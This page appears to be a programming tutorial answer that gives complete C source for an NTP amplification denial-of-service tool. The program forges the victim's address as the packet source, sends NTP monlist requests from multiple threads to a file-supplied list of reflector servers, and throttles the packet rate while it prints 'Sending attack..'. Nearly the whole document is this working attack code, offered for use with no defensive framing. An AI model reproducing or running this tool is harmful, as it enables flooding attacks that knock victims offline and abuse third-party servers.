How to write a C Program NTP Attack - NTP amplification in C Programming Language ?
Solution For C Program :
/* NTP amplification. */
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
struct sockaddr_in data;
struct list *next;
struct list *prev;
};
struct list *head;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
{
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum = 0;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->dest = htons(123);
udph->check = 0;
memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", 8);
udph->len=htons(sizeof(struct udphdr) + 8);
}
void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin = td->sin;
struct list *list_node = td->list_node;
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "error. got r00t?\n");
exit(-1);
}
init_rand(time(NULL));
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_udp_header(udph);
udph->source = htons(rand() % 65535 - 1026);
iph->saddr = sin.sin_addr.s_addr;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "error. u dun goofed.\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
list_node = list_node->next;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
pps++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 5){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s [IP] [file] [threads] [limiter] [time]\n", argv[0]);
exit(-1);
}
srand(time(NULL));
int i = 0;
head = NULL;
fprintf(stdout, "Opening sockets...\n");
int max_len = 128;
char *buffer = (char *) malloc(max_len);
buffer = memset(buffer, 0x00, max_len);
int num_threads = atoi(argv[3]);
int maxpps = atoi(argv[4]);
limiter = 0;
pps = 0;
int multiplier = 20;
FILE *list_fd = fopen(argv[2], "r");
while (fgets(buffer, max_len, list_fd) != NULL) {
if ((buffer[strlen(buffer) - 1] == '\n') ||
(buffer[strlen(buffer) - 1] == '\r')) {
buffer[strlen(buffer) - 1] = 0x00;
if(head == NULL)
{
head = (struct list *)malloc(sizeof(struct list));
bzero(&head->data, sizeof(head->data));
head->data.sin_addr.s_addr=inet_addr(buffer);
head->next = head;
head->prev = head;
} else {
struct list *new_node = (struct list *)malloc(sizeof(struct list));
memset(new_node, 0x00, sizeof(struct list));
new_node->data.sin_addr.s_addr=inet_addr(buffer);
new_node->prev = head;
new_node->next = head->next;
head->next = new_node;
}
i++;
} else {
continue;
}
}
struct list *current = head->next;
pthread_t thread[num_threads];
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
struct thread_data td[num_threads];
for(i = 0;i<num_threads;i++){
td[i].thread_id = i;
td[i].sin= sin;
td[i].list_node = current;
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
fprintf(stdout, "Sending attack..\n");
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
}